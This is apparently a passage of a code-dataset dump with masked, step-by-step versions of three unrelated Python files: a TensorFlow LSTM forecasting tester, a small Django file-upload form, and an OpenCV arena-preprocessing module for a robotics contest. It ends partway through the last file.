__binary_train_file_path], compression_type='ZLIB')\n test_dataset = tf.data.TFRecordDataset([self.\n __binary_test_file_path], compression_type='ZLIB')\n tfrecord_reader = TFRecordReader(self.__input_size, self.__output_size)\n shuffle_seed = tf.placeholder(dtype=tf.int64, shape=[])\n training_dataset = training_dataset.repeat(count=int(max_epoch_size))\n training_dataset = training_dataset.map(tfrecord_reader.\n validation_data_parser)\n padded_training_data_batches = training_dataset.padded_batch(batch_size\n =int(minibatch_size), padded_shapes=([], [tf.Dimension(None),\n self.__input_size], [tf.Dimension(None), self.__output_size], [\n tf.Dimension(None), self.__output_size + 2]))\n training_data_batch_iterator = (padded_training_data_batches.\n make_initializable_iterator())\n next_training_data_batch = training_data_batch_iterator.get_next()\n test_dataset = test_dataset.map(tfrecord_reader.test_data_parser)\n padded_test_input_data = test_dataset.padded_batch(batch_size=int(\n minibatch_size), padded_shapes=([], [tf.Dimension(None), self.\n __input_size], [tf.Dimension(None), self.__output_size + 2]))\n test_input_iterator = padded_test_input_data.make_one_shot_iterator()\n test_input_data_batch = test_input_iterator.get_next()\n init_op = tf.global_variables_initializer()\n with tf.Session() as session:\n session.run(init_op)\n for epoch in range(int(max_num_epochs)):\n print('Epoch->', epoch)\n session.run(training_data_batch_iterator.initializer,\n feed_dict={shuffle_seed: epoch})\n while True:\n try:\n training_data_batch_value = session.run(\n next_training_data_batch, feed_dict={\n shuffle_seed: epoch})\n session.run(optimizer, feed_dict={input:\n training_data_batch_value[1], true_output:\n training_data_batch_value[2], sequence_lengths:\n training_data_batch_value[0]})\n except tf.errors.OutOfRangeError:\n break\n list_of_forecasts = []\n while True:\n try:\n test_input_batch_value = session.run(test_input_data_batch)\n test_output = session.run(inference_prediction_output,\n feed_dict={input: test_input_batch_value[1],\n sequence_lengths: test_input_batch_value[0]})\n last_output_index = test_input_batch_value[0] - 1\n array_first_dimension = np.array(range(0,\n test_input_batch_value[0].shape[0]))\n forecasts = test_output[array_first_dimension,\n last_output_index]\n list_of_forecasts.extend(forecasts.tolist())\n except tf.errors.OutOfRangeError:\n break\n session.close()\n return list_of_forecasts\n", "step-5": "import numpy as np\nimport tensorflow as tf\nfrom tfrecords_handler.moving_window.tfrecord_mean_reader import TFRecordReader\nfrom configs.global_configs import training_data_configs\n\n\nclass StackingModelTester:\n\n def __init__(self, **kwargs):\n self.__use_bias = kwargs[\"use_bias\"]\n self.__use_peepholes = kwargs[\"use_peepholes\"]\n self.__input_size = kwargs[\"input_size\"]\n self.__output_size = kwargs[\"output_size\"]\n self.__binary_train_file_path = kwargs[\"binary_train_file_path\"]\n self.__binary_test_file_path = kwargs[\"binary_test_file_path\"]\n self.__seed = kwargs[\"seed\"]\n self.__cell_type = kwargs[\"cell_type\"]\n\n def __l1_loss(self, z, t):\n loss = tf.reduce_mean(tf.abs(t - z))\n return loss\n\n def __l2_loss(selfself, z, t):\n loss = tf.losses.mean_squared_error(labels=t, predictions=z)\n return loss\n\n # Training the time series\n def test_model(self, **kwargs):\n\n # extract the parameters from the kwargs\n num_hidden_layers = kwargs['num_hidden_layers']\n cell_dimension = kwargs['cell_dimension']\n minibatch_size = kwargs['minibatch_size']\n max_epoch_size = kwargs['max_epoch_size']\n max_num_epochs = kwargs['max_num_epochs']\n l2_regularization = kwargs['l2_regularization']\n gaussian_noise_stdev = kwargs['gaussian_noise_stdev']\n optimizer_fn = kwargs['optimizer_fn']\n random_normal_initializer_stdev = kwargs['random_normal_initializer_stdev']\n\n # reset the tensorflow graph\n tf.reset_default_graph()\n\n tf.set_random_seed(self.__seed)\n\n # declare the input and output placeholders\n input = tf.placeholder(dtype=tf.float32, shape=[None, None, self.__input_size])\n noise = tf.random_normal(shape=tf.shape(input), mean=0.0, stddev=gaussian_noise_stdev, dtype=tf.float32)\n training_input = input + noise\n\n testing_input = input\n\n # output format [batch_size, sequence_length, dimension]\n true_output = tf.placeholder(dtype=tf.float32, shape=[None, None, self.__output_size])\n sequence_lengths = tf.placeholder(dtype=tf.int64, shape=[None])\n\n weight_initializer = tf.truncated_normal_initializer(stddev=random_normal_initializer_stdev)\n\n # RNN with the layer of cells\n def cell():\n if self.__cell_type == \"LSTM\":\n cell = tf.nn.rnn_cell.LSTMCell(num_units=int(cell_dimension), use_peepholes=self.__use_peepholes,\n initializer=weight_initializer)\n elif self.__cell_type == \"GRU\":\n cell = tf.nn.rnn_cell.GRUCell(num_units=int(cell_dimension), kernel_initializer=weight_initializer)\n elif self.__cell_type == \"RNN\":\n cell = tf.nn.rnn_cell.BasicRNNCell(num_units=int(cell_dimension))\n return cell\n\n multi_layered_cell = tf.nn.rnn_cell.MultiRNNCell(cells=[cell() for _ in range(int(num_hidden_layers))])\n\n with tf.variable_scope('train_scope') as train_scope:\n training_rnn_outputs, training_rnn_states = tf.nn.dynamic_rnn(cell=multi_layered_cell,\n inputs=training_input,\n sequence_length=sequence_lengths,\n dtype=tf.float32)\n\n # connect the dense layer to the RNN\n training_prediction_output = tf.layers.dense(\n inputs=tf.convert_to_tensor(value=training_rnn_outputs, dtype=tf.float32),\n units=self.__output_size,\n use_bias=self.__use_bias, kernel_initializer=weight_initializer, name='dense_layer')\n\n with tf.variable_scope(train_scope, reuse=tf.AUTO_REUSE) as inference_scope:\n inference_rnn_outputs, inference_rnn_states = tf.nn.dynamic_rnn(cell=multi_layered_cell,\n inputs=testing_input,\n sequence_length=sequence_lengths,\n dtype=tf.float32)\n # connect the dense layer to the RNN\n inference_prediction_output = tf.layers.dense(\n inputs=tf.convert_to_tensor(value=inference_rnn_outputs, dtype=tf.float32),\n units=self.__output_size,\n use_bias=self.__use_bias, kernel_initializer=weight_initializer, name='dense_layer', reuse=True)\n\n # error that should be minimized in the training process\n error = self.__l1_loss(training_prediction_output, true_output)\n\n # l2 regularization of the trainable model parameters\n l2_loss = 0.0\n for var in tf.trainable_variables():\n l2_loss += tf.nn.l2_loss(var)\n\n l2_loss = tf.multiply(tf.cast(l2_regularization, dtype=tf.float64), tf.cast(l2_loss, dtype=tf.float64))\n\n total_loss = tf.cast(error, dtype=tf.float64) + l2_loss\n\n # create the adagrad optimizer\n optimizer = optimizer_fn(total_loss)\n\n # create the Dataset objects for the training and test data\n training_dataset = tf.data.TFRecordDataset(filenames=[self.__binary_train_file_path], compression_type=\"ZLIB\")\n test_dataset = tf.data.TFRecordDataset([self.__binary_test_file_path], compression_type=\"ZLIB\")\n\n # parse the records\n tfrecord_reader = TFRecordReader(self.__input_size, self.__output_size)\n\n # prepare the training data into batches\n # randomly shuffle the time series within the dataset\n shuffle_seed = tf.placeholder(dtype=tf.int64, shape=[])\n # training_dataset = training_dataset.apply(\n # tf.data.experimental.shuffle_and_repeat(buffer_size=training_data_configs.SHUFFLE_BUFFER_SIZE,\n # count=int(max_epoch_size), seed=shuffle_seed))\n training_dataset = training_dataset.repeat(count=int(max_epoch_size))\n training_dataset = training_dataset.map(tfrecord_reader.validation_data_parser)\n\n # create the batches by padding the datasets to make the variable sequence lengths fixed within the individual batches\n padded_training_data_batches = training_dataset.padded_batch(batch_size=int(minibatch_size),\n padded_shapes=(\n [], [tf.Dimension(None), self.__input_size],\n [tf.Dimension(None), self.__output_size],\n [tf.Dimension(None), self.__output_size + 2]))\n\n # get an iterator to the batches\n training_data_batch_iterator = padded_training_data_batches.make_initializable_iterator()\n\n # access each batch using the iterator\n next_training_data_batch = training_data_batch_iterator.get_next()\n\n # preparing the test data\n test_dataset = test_dataset.map(tfrecord_reader.test_data_parser)\n\n # create a single batch from all the test time series by padding the datasets to make the variable sequence lengths fixed\n padded_test_input_data = test_dataset.padded_batch(batch_size=int(minibatch_size),\n padded_shapes=([], [tf.Dimension(None), self.__input_size],\n [tf.Dimension(None), self.__output_size + 2]))\n\n # get an iterator to the test input data batch\n test_input_iterator = padded_test_input_data.make_one_shot_iterator()\n\n # access the test input batch using the iterator\n test_input_data_batch = test_input_iterator.get_next()\n\n # setup variable initialization\n init_op = tf.global_variables_initializer()\n\n with tf.Session() as session:\n session.run(init_op)\n\n for epoch in range(int(max_num_epochs)):\n print(\"Epoch->\", epoch)\n session.run(training_data_batch_iterator.initializer, feed_dict={shuffle_seed: epoch})\n while True:\n try:\n training_data_batch_value = session.run(next_training_data_batch,\n feed_dict={shuffle_seed: epoch})\n\n session.run(optimizer,\n feed_dict={input: training_data_batch_value[1],\n true_output: training_data_batch_value[2],\n sequence_lengths: training_data_batch_value[0]})\n\n except tf.errors.OutOfRangeError:\n break\n\n # applying the model to the test data\n\n list_of_forecasts = []\n while True:\n try:\n\n # get the batch of test inputs\n test_input_batch_value = session.run(test_input_data_batch)\n\n # get the output of the network for the test input data batch\n test_output = session.run(inference_prediction_output,\n feed_dict={input: test_input_batch_value[1],\n sequence_lengths: test_input_batch_value[0]})\n\n last_output_index = test_input_batch_value[0] - 1\n array_first_dimension = np.array(range(0, test_input_batch_value[0].shape[0]))\n forecasts = test_output[array_first_dimension, last_output_index]\n list_of_forecasts.extend(forecasts.tolist())\n\n except tf.errors.OutOfRangeError:\n break\n\n session.close()\n return list_of_forecasts\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
from django import forms class UploadForm(forms.Form): file = forms.FileField(label="Json с данными об отправлении")
normal
{ "blob_id": "0878bfa1151371ff3aaa59f8be5ea9af74ada331", "index": 4978, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass UploadForm(forms.Form):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label='Json с данными об отправлении')\n", "step-4": "from django import forms\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label='Json с данными об отправлении')\n", "step-5": "from django import forms\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label=\"Json с данными об отправлении\")\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
""" * Team Id : LM#4787 * Author List : Arjun S, Vinod, Arvind, Vishnu * Filename: ArenaPreprocessor.py * Theme: Launch A Module * Functions: arena_preprocess, getTransformationMatrix, get_robot_space * Global Variables: None """ import cv2 import numpy as np """ * Function Name: getTransformationMatrix * Input: frame - (raw camera feed of the arena) * Output: perspective transformation matrix * Logic: Uses image processing techniques and finds contours for outer border to get transformation matrix Each process is explained in the function * Example Call: M = getTransformationMatrix(frame) """ def getTransformationMatrix(frame): # # flips Horizontally and Vertically: Depends on Camera Setup # arena = cv2.flip(frame, -1) # Denoising: bilateral filter Kernel size of 99 (Preferred Over medianBlur to maintain edge info) processed_arena = cv2.bilateralFilter(frame, 5, 99, 198) # To Grayscale processed_arena = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY) # Increase Contrast: for better border detection processed_arena = cv2.equalizeHist(processed_arena) # Adaptive Threshold to get black thick boundary: (Used over Threshold: for lighting consideration1) processed_arena = cv2.adaptiveThreshold(processed_arena, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 31, 5) # Morphological Operations: to remove noise kernel = np.ones((7, 7), np.uint8) processed_arena = cv2.erode(processed_arena, kernel) kernel = np.ones((5, 5), np.uint8) processed_arena = cv2.dilate(processed_arena, kernel) # Contour Detection (contours, heirarchy) = cv2.findContours(processed_arena, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE) # Getting the contour of interest: inner edge and outer edge of the box- largest and second largest contour contours = sorted(contours, key=cv2.contourArea, reverse=True) the_outer_contour = contours[0] the_inner_contour = contours[1] # Approximating to get corners of the quadrilaterals peri_in = cv2.arcLength(the_inner_contour, True) peri_out = cv2.arcLength(the_outer_contour, True) in_corners = cv2.approxPolyDP(the_inner_contour, .01 * peri_in, True) out_corners = cv2.approxPolyDP(the_outer_contour, .01 * peri_out, True) if len(in_corners) != 4 and len(out_corners) != 4: return # Define result dimensions (600 X 900) therefore each block 100 X 100 result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]]) # Sort the detected corners to align with result corners in_corners = in_corners[np.argsort(in_corners[:, 0, 0] + in_corners[:, 0, 1])] out_corners = out_corners[np.argsort(out_corners[:, 0, 0] + out_corners[:, 0, 1])] # corner blocks are less than 8 inches: block + center of border = 8in corners = (in_corners + out_corners) / 2 source_pts = np.float32(corners) # cv2.drawContours(frame, [corners], -1, (255, 0, 0), 2) # cv2.imshow('Display'. frame) # cv2.waitKey(0) # For Debugging: cv2.drawContours(arena, corners, -1, (0, 0, 255), 5) # Get transformation matrix M = cv2.getPerspectiveTransform(source_pts, result_pts) return M """ * Function Name: arena_preprocess * Input: image - (raw camera feed of the arena) * Output: processed_arena, warped_arena * Logic: Multiple openCV tricks are used to make the raw camera feed as close to ideal image as possible Each process is explained in the function * Example Call: arena_preprocess(frame, M) """ def arena_preprocess(frame, M): # Remapping to final desired result image processed_arena = cv2.warpPerspective(frame, M, (900, 600)) # Make the excess black border White: ~10px thick in_corners = np.array([[10, 18], [10, 590], [890, 590], [890, 15]]) h, w = processed_arena.shape[:2] result_mask = np.zeros((h, w), np.uint8) mask = np.zeros((h + 2, w + 2), np.uint8) cv2.drawContours(mask, [in_corners], -1, 255, 1) cv2.floodFill(result_mask, mask, (0, 0), 255) processed_arena = cv2.add(processed_arena, cv2.cvtColor(result_mask, cv2.COLOR_GRAY2BGR)) # cv2.imshow('Display', processed_arena) # cv2.waitKey(0) warped_arena = processed_arena.copy(); # Warped_arena: to be used for robot tracking # Denoising: bilateral filter processed_arena = cv2.bilateralFilter(processed_arena, 5, 99, 198) # To Make Background White: # 1) Invert arena_inv = cv2.bitwise_not(processed_arena) # 2) Subtract processed_arena = cv2.subtract(arena_inv, processed_arena) # 3) Invert processed_arena = cv2.bitwise_not(processed_arena) # # Color Enhancement: Does Not Help in color detection # ycrcb = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2YCR_CB) # y, cr, cb = cv2.split(ycrcb) # cv2.equalizeHist(y, y) # ycrcb = cv2.merge((y, cr, cb)) # processed_arena = cv2.cvtColor(ycrcb, cv2.COLOR_YCR_CB2BGR) # # # Shadow Removal- Not Used since Removes Shape Detail # shadow = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY) # ret, shadow = cv2.threshold(shadow, 10, 255, cv2.THRESH_BINARY_INV) # shadow = cv2.cvtColor(shadow, cv2.COLOR_GRAY2BGR) # processed_arena = cv2.add(processed_arena, shadow) # cv2.imshow('Display', processed_arena) # cv2.waitKey(0) # Show Grid Lines for y in range(0, 6): for x in range(0, 9): cv2.line(processed_arena, (x * 100, y * 100), (x * 100, (y + 1) * 100), (0, 0, 0), 1) cv2.line(processed_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1) # cv2.imshow('Display', processed_arena) # cv2.waitKey(0) # cv2.destroyAllWindows() # processed_arena: to be used for Object Detection return processed_arena, warped_arena """ * Function Name: get_robot_space * Input: frame - (raw camera feed of the arena) * Output: warped portion of arena * Logic: Warps a portion of the arena to which the robot position is mapped to avoid parallax * Example Call: robot_space = get_robot_space(frame) """ def get_robot_space(frame): # Denoising: bilateral filter Kernel size of 99 (Preferred Over medianBlur to maintain edge info) frame = cv2.bilateralFilter(frame, 5, 99, 198) # Define result dimensions (600 X 900) therefore each block 100 X 100 source_pts = np.float32([[24, 56], [27, 444], [608, 47], [615, 437]]) #(576, 65) # 53,71 (53, 400) (586, 390) # Define result dimensions (600 X 900) therefore each block 100 X 100 result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]]) # Get transformation matrix M = cv2.getPerspectiveTransform(source_pts, result_pts) # Remapping to final desired result image warped_arena = cv2.warpPerspective(frame, M, (900, 600)) # Show Grid Lines for y in range(0, 6): for x in range(0, 9): cv2.line(warped_arena, (x * 100, y * 100), (x * 100, (y + 1) * 100), (0, 0, 0), 1) cv2.line(warped_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1) return warped_arena
normal
{ "blob_id": "228852f960e9343d9f45abdd3204cfab7bb54bc6", "index": 8230, "step-1": "<mask token>\n\n\ndef arena_preprocess(frame, M):\n processed_arena = cv2.warpPerspective(frame, M, (900, 600))\n in_corners = np.array([[10, 18], [10, 590], [890, 590], [890, 15]])\n h, w = processed_arena.shape[:2]\n result_mask = np.zeros((h, w), np.uint8)\n mask = np.zeros((h + 2, w + 2), np.uint8)\n cv2.drawContours(mask, [in_corners], -1, 255, 1)\n cv2.floodFill(result_mask, mask, (0, 0), 255)\n processed_arena = cv2.add(processed_arena, cv2.cvtColor(result_mask,\n cv2.COLOR_GRAY2BGR))\n warped_arena = processed_arena.copy()\n processed_arena = cv2.bilateralFilter(processed_arena, 5, 99, 198)\n arena_inv = cv2.bitwise_not(processed_arena)\n processed_arena = cv2.subtract(arena_inv, processed_arena)\n processed_arena = cv2.bitwise_not(processed_arena)\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(processed_arena, (x * 100, y * 100), (x * 100, (y + 1) *\n 100), (0, 0, 0), 1)\n cv2.line(processed_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n return processed_arena, warped_arena\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef getTransformationMatrix(frame):\n processed_arena = cv2.bilateralFilter(frame, 5, 99, 198)\n processed_arena = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY)\n processed_arena = cv2.equalizeHist(processed_arena)\n processed_arena = cv2.adaptiveThreshold(processed_arena, 255, cv2.\n ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 31, 5)\n kernel = np.ones((7, 7), np.uint8)\n processed_arena = cv2.erode(processed_arena, kernel)\n kernel = np.ones((5, 5), np.uint8)\n processed_arena = cv2.dilate(processed_arena, kernel)\n contours, heirarchy = cv2.findContours(processed_arena, cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE)\n contours = sorted(contours, key=cv2.contourArea, reverse=True)\n the_outer_contour = contours[0]\n the_inner_contour = contours[1]\n peri_in = cv2.arcLength(the_inner_contour, True)\n peri_out = cv2.arcLength(the_outer_contour, True)\n in_corners = cv2.approxPolyDP(the_inner_contour, 0.01 * peri_in, True)\n out_corners = cv2.approxPolyDP(the_outer_contour, 0.01 * peri_out, True)\n if len(in_corners) != 4 and len(out_corners) != 4:\n return\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n in_corners = in_corners[np.argsort(in_corners[:, 0, 0] + in_corners[:, \n 0, 1])]\n out_corners = out_corners[np.argsort(out_corners[:, 0, 0] + out_corners\n [:, 0, 1])]\n corners = (in_corners + out_corners) / 2\n source_pts = np.float32(corners)\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n return M\n\n\n<mask token>\n\n\ndef arena_preprocess(frame, M):\n processed_arena = cv2.warpPerspective(frame, M, (900, 600))\n in_corners = np.array([[10, 18], [10, 590], [890, 590], [890, 15]])\n h, w = processed_arena.shape[:2]\n result_mask = np.zeros((h, w), np.uint8)\n mask = np.zeros((h + 2, w + 2), np.uint8)\n cv2.drawContours(mask, [in_corners], -1, 255, 1)\n cv2.floodFill(result_mask, mask, (0, 0), 255)\n processed_arena = cv2.add(processed_arena, cv2.cvtColor(result_mask,\n cv2.COLOR_GRAY2BGR))\n warped_arena = processed_arena.copy()\n processed_arena = cv2.bilateralFilter(processed_arena, 5, 99, 198)\n arena_inv = cv2.bitwise_not(processed_arena)\n processed_arena = cv2.subtract(arena_inv, processed_arena)\n processed_arena = cv2.bitwise_not(processed_arena)\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(processed_arena, (x * 100, y * 100), (x * 100, (y + 1) *\n 100), (0, 0, 0), 1)\n cv2.line(processed_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n return processed_arena, warped_arena\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef getTransformationMatrix(frame):\n processed_arena = cv2.bilateralFilter(frame, 5, 99, 198)\n processed_arena = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY)\n processed_arena = cv2.equalizeHist(processed_arena)\n processed_arena = cv2.adaptiveThreshold(processed_arena, 255, cv2.\n ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 31, 5)\n kernel = np.ones((7, 7), np.uint8)\n processed_arena = cv2.erode(processed_arena, kernel)\n kernel = np.ones((5, 5), np.uint8)\n processed_arena = cv2.dilate(processed_arena, kernel)\n contours, heirarchy = cv2.findContours(processed_arena, cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE)\n contours = sorted(contours, key=cv2.contourArea, reverse=True)\n the_outer_contour = contours[0]\n the_inner_contour = contours[1]\n peri_in = cv2.arcLength(the_inner_contour, True)\n peri_out = cv2.arcLength(the_outer_contour, True)\n in_corners = cv2.approxPolyDP(the_inner_contour, 0.01 * peri_in, True)\n out_corners = cv2.approxPolyDP(the_outer_contour, 0.01 * peri_out, True)\n if len(in_corners) != 4 and len(out_corners) != 4:\n return\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n in_corners = in_corners[np.argsort(in_corners[:, 0, 0] + in_corners[:, \n 0, 1])]\n out_corners = out_corners[np.argsort(out_corners[:, 0, 0] + out_corners\n [:, 0, 1])]\n corners = (in_corners + out_corners) / 2\n source_pts = np.float32(corners)\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n return M\n\n\n<mask token>\n\n\ndef arena_preprocess(frame, M):\n processed_arena = cv2.warpPerspective(frame, M, (900, 600))\n in_corners = np.array([[10, 18], [10, 590], [890, 590], [890, 15]])\n h, w = processed_arena.shape[:2]\n result_mask = np.zeros((h, w), np.uint8)\n mask = np.zeros((h + 2, w + 2), np.uint8)\n cv2.drawContours(mask, [in_corners], -1, 255, 1)\n cv2.floodFill(result_mask, mask, (0, 0), 255)\n processed_arena = cv2.add(processed_arena, cv2.cvtColor(result_mask,\n cv2.COLOR_GRAY2BGR))\n warped_arena = processed_arena.copy()\n processed_arena = cv2.bilateralFilter(processed_arena, 5, 99, 198)\n arena_inv = cv2.bitwise_not(processed_arena)\n processed_arena = cv2.subtract(arena_inv, processed_arena)\n processed_arena = cv2.bitwise_not(processed_arena)\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(processed_arena, (x * 100, y * 100), (x * 100, (y + 1) *\n 100), (0, 0, 0), 1)\n cv2.line(processed_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n return processed_arena, warped_arena\n\n\n<mask token>\n\n\ndef get_robot_space(frame):\n frame = cv2.bilateralFilter(frame, 5, 99, 198)\n source_pts = np.float32([[24, 56], [27, 444], [608, 47], [615, 437]])\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n warped_arena = cv2.warpPerspective(frame, M, (900, 600))\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(warped_arena, (x * 100, y * 100), (x * 100, (y + 1) * \n 100), (0, 0, 0), 1)\n cv2.line(warped_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n return warped_arena\n", "step-4": "<mask token>\nimport cv2\nimport numpy as np\n<mask token>\n\n\ndef getTransformationMatrix(frame):\n processed_arena = cv2.bilateralFilter(frame, 5, 99, 198)\n processed_arena = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY)\n processed_arena = cv2.equalizeHist(processed_arena)\n processed_arena = cv2.adaptiveThreshold(processed_arena, 255, cv2.\n ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 31, 5)\n kernel = np.ones((7, 7), np.uint8)\n processed_arena = cv2.erode(processed_arena, kernel)\n kernel = np.ones((5, 5), np.uint8)\n processed_arena = cv2.dilate(processed_arena, kernel)\n contours, heirarchy = cv2.findContours(processed_arena, cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE)\n contours = sorted(contours, key=cv2.contourArea, reverse=True)\n the_outer_contour = contours[0]\n the_inner_contour = contours[1]\n peri_in = cv2.arcLength(the_inner_contour, True)\n peri_out = cv2.arcLength(the_outer_contour, True)\n in_corners = cv2.approxPolyDP(the_inner_contour, 0.01 * peri_in, True)\n out_corners = cv2.approxPolyDP(the_outer_contour, 0.01 * peri_out, True)\n if len(in_corners) != 4 and len(out_corners) != 4:\n return\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n in_corners = in_corners[np.argsort(in_corners[:, 0, 0] + in_corners[:, \n 0, 1])]\n out_corners = out_corners[np.argsort(out_corners[:, 0, 0] + out_corners\n [:, 0, 1])]\n corners = (in_corners + out_corners) / 2\n source_pts = np.float32(corners)\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n return M\n\n\n<mask token>\n\n\ndef arena_preprocess(frame, M):\n processed_arena = cv2.warpPerspective(frame, M, (900, 600))\n in_corners = np.array([[10, 18], [10, 590], [890, 590], [890, 15]])\n h, w = processed_arena.shape[:2]\n result_mask = np.zeros((h, w), np.uint8)\n mask = np.zeros((h + 2, w + 2), np.uint8)\n cv2.drawContours(mask, [in_corners], -1, 255, 1)\n cv2.floodFill(result_mask, mask, (0, 0), 255)\n processed_arena = cv2.add(processed_arena, cv2.cvtColor(result_mask,\n cv2.COLOR_GRAY2BGR))\n warped_arena = processed_arena.copy()\n processed_arena = cv2.bilateralFilter(processed_arena, 5, 99, 198)\n arena_inv = cv2.bitwise_not(processed_arena)\n processed_arena = cv2.subtract(arena_inv, processed_arena)\n processed_arena = cv2.bitwise_not(processed_arena)\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(processed_arena, (x * 100, y * 100), (x * 100, (y + 1) *\n 100), (0, 0, 0), 1)\n cv2.line(processed_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n return processed_arena, warped_arena\n\n\n<mask token>\n\n\ndef get_robot_space(frame):\n frame = cv2.bilateralFilter(frame, 5, 99, 198)\n source_pts = np.float32([[24, 56], [27, 444], [608, 47], [615, 437]])\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n warped_arena = cv2.warpPerspective(frame, M, (900, 600))\n for y in range(0, 6):\n for x in range(0, 9):\n cv2.line(warped_arena, (x * 100, y * 100), (x * 100, (y + 1) * \n 100), (0, 0, 0), 1)\n cv2.line(warped_arena, (0, y * 100), (900, y * 100), (0, 0, 0), 1)\n return warped_arena\n", "step-5": "\"\"\"\n* Team Id : LM#4787\n* Author List : Arjun S, Vinod, Arvind, Vishnu\n* Filename: ArenaPreprocessor.py\n* Theme: Launch A Module\n* Functions: arena_preprocess, getTransformationMatrix, get_robot_space\n* Global Variables: None\n\"\"\"\n\nimport cv2\nimport numpy as np\n\n\n\"\"\"\n* Function Name: getTransformationMatrix\n* Input: frame - (raw camera feed of the arena)\n* Output: perspective transformation matrix\n* Logic: Uses image processing techniques and finds contours for outer border to\n get transformation matrix\n Each process is explained in the function\n* Example Call: M = getTransformationMatrix(frame)\n\"\"\"\n\ndef getTransformationMatrix(frame):\n # # flips Horizontally and Vertically: Depends on Camera Setup\n # arena = cv2.flip(frame, -1)\n\n # Denoising: bilateral filter Kernel size of 99 (Preferred Over medianBlur to maintain edge info)\n processed_arena = cv2.bilateralFilter(frame, 5, 99, 198)\n\n # To Grayscale\n processed_arena = cv2.cvtColor(processed_arena, cv2.COLOR_BGR2GRAY)\n\n # Increase Contrast: for better border detection\n processed_arena = cv2.equalizeHist(processed_arena)\n\n # Adaptive Threshold to get black thick boundary: (Used over Threshold: for lighting consideration1)\n processed_arena = cv2.adaptiveThreshold(processed_arena, 255,\n cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV,\n 31, 5)\n\n # Morphological Operations: to remove noise\n kernel = np.ones((7, 7), np.uint8)\n processed_arena = cv2.erode(processed_arena, kernel)\n\n kernel = np.ones((5, 5), np.uint8)\n processed_arena = cv2.dilate(processed_arena, kernel)\n\n # Contour Detection\n (contours, heirarchy) = cv2.findContours(processed_arena, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\n # Getting the contour of interest: inner edge and outer edge of the box- largest and second largest contour\n contours = sorted(contours, key=cv2.contourArea, reverse=True)\n the_outer_contour = contours[0]\n the_inner_contour = contours[1]\n\n # Approximating to get corners of the quadrilaterals\n peri_in = cv2.arcLength(the_inner_contour, True)\n peri_out = cv2.arcLength(the_outer_contour, True)\n in_corners = cv2.approxPolyDP(the_inner_contour, .01 * peri_in, True)\n out_corners = cv2.approxPolyDP(the_outer_contour, .01 * peri_out, True)\n if len(in_corners) != 4 and len(out_corners) != 4:\n return\n\n # Define result dimensions (600 X 900) therefore each block 100 X 100\n result_pts = np.float32([[0, 0], [0, 600], [900, 0], [900, 600]])\n\n # Sort the detected corners to align with result corners\n in_corners = in_corners[np.argsort(in_corners[:, 0, 0] + in_corners[:, 0, 1])]\n out_corners = out_corners[np.argsort(out_corners[:, 0, 0] + out_corners[:, 0, 1])]\n\n # corner blocks are less than 8 inches: block + center of border = 8in\n corners = (in_corners + out_corners) / 2\n source_pts = np.float32(corners)\n\n # cv2.drawContours(frame, [corners], -1, (255, 0, 0), 2)\n # cv2.imshow('Display'. frame)\n # cv2.waitKey(0)\n # For Debugging: cv2.drawContours(arena, corners, -1, (0, 0, 255), 5)\n\n # Get transformation matrix\n M = cv2.getPerspectiveTransform(source_pts, result_pts)\n\n return M\n\n\n\"\"\"\n* Function Name: arena_preprocess\n* Input: image - (raw camera feed of the arena)\n* Output: processed_arena, warped_arena\n* Logic: Multiple openCV tricks are used to make the raw camera feed\n as close to ideal image as possible\n Each process is explained in the function\n* Example Call: arena_preprocess(frame, M)\n\"\"\"\n\ndef arena_preprocess(frame, M):\n # Remapping to final desired result image\n processed_arena = 